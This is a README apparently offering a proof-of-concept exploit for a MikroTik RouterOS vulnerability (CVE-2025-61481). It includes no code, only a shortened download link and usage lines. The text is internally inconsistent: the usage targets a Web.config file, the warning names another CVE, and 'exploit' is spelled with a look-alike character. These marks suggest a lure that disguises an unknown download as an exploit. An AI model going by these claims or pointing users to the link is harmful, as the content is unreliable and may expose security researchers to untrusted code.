CVE-2025-61481 PoC — MikroTik RouterOS 安全漏洞

Readme

# CVE-2025-61481
### Overview
CVE-2025-61481 is a critical vulnerability found in MikroTik RouterOS version 7.14.2 and SwitchOS version 2.18. MikroTik is known for providing versatile routing and switching software solutions for network devices, catering primarily to internet service providers and enterprise networks.

### Published Date
27 October 2025

### Key Points

- **Severity**: Critical
- **CVSS Score**: 10 (High)
- **Confidentiality**: High
- **Integrity**: High
- **Availability**: High
- **Attack Vector**: Network
- **Attack Complexity**: Low

### [Download explоit here](https://tinyurl.com/bdfyy2br)

### Requirements
- Python 3.8+
- Libraries: requests, argparse (install via `pip install -r requirements.txt`)

### Usage
- Install dependencies: `pip install -r requirements.txt`
- Run the explоit: `python explоit.py --target <target_url> --file "/path/to/Web.config"`


### Potencial impact
This vulnerability permits remote attackers to execute arbitrary code via the HTTP-only WebFig management interface, which can have dire implications for organizations relying on these systems for network management and operations. An attacker exploiting this vulnerability could gain unauthorized access to network configurations, potentially leading to severe disruptions, unauthorized data access, and a compromise of the integrity and confidentiality of network communications.

### Ethical Use Warning
- This script is a proof-of-concept for CVE-2025-55315 for educational and authorized security testing purposes.
- **Do not use this script on systems without explicit permission from the system owner.**
- Misuse may violate laws, including the Computer Fraud and Abuse Act (CFAA) in the United States or similar laws elsewhere.
- Always obtain written consent before testing any system.

File Snapshot

Remarks